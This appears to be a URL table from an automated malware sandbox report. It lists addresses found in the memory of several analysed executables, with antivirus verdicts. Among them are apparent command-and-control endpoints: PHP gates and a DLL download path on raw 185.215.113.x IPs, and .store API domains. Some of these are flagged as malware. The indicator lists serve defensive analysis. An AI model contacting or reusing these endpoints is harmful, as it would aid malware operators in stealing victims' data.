Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	false		high
https://recaptcha.net/recapt5	d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpyuI	4172e6dca8.exe, 00000011.00000002.2490263073.000000000082E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.youtube.c(	d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://navygenerayk.store:443/api	d1e0007322.exe, 0000000B.00000002.2651235498.0000000001493000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2693939413.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	4172e6dca8.exe, 00000011.00000002.2490263073.0000000000819000.00000004.00000020.00020000.00000000.sdmp, 4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpdx	4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.valvesoftware.com/legal.htm	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206Local	file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/prom=9	d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/CK	4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php4x	4172e6dca8.exe, 00000015.00000002.2736567413.000000000189F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gofile.io/fk	skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	false		high
https://navygenerayk.store/	d1e0007322.exe, 00000014.00000003.2635576429.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.2065	4172e6dca8.exe, 0000000D.00000002.2341019305.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://presticitpo.store:443/api	d1e0007322.exe, 0000000F.00000002.2693939413.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	d1e0007322.exe, 00000014.00000003.2769508404.0000000005680000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206V	4172e6dca8.exe, 00000011.00000002.2490263073.00000000007DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	d1e0007322.exe, 0000000B.00000002.2651235498.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=en	d1e0007322.exe, 00000014.00000003.2811241396.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2747654498.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703641474.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2746214238.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2789248939.0000000000DD0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2749628393.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2768205750.0000000000DCF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702112957.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2790110258.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2704648103.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 0000000A.00000003.3361783553.000000000A459000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/libraries~b28b	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	d1e0007322.exe, 00000014.00000003.2702665651.0000000005673000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665609246.0000000000E26000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllKmk	file.exe, 00000000.00000002.2075634451.0000000001977000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://marshal-zhukov.com/$	d1e0007322.exe, 0000000F.00000002.2694441249.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688473758.0000000000F02000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2689070145.0000000000F0F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.php002	file.exe, 00000000.00000002.2075634451.0000000001993000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://help.steampowered.com/en/	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpb	skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php_	skotes.exe, 0000000A.00000003.3361623147.0000000001690000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/apij	d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3269514272.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257605259.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	false		high
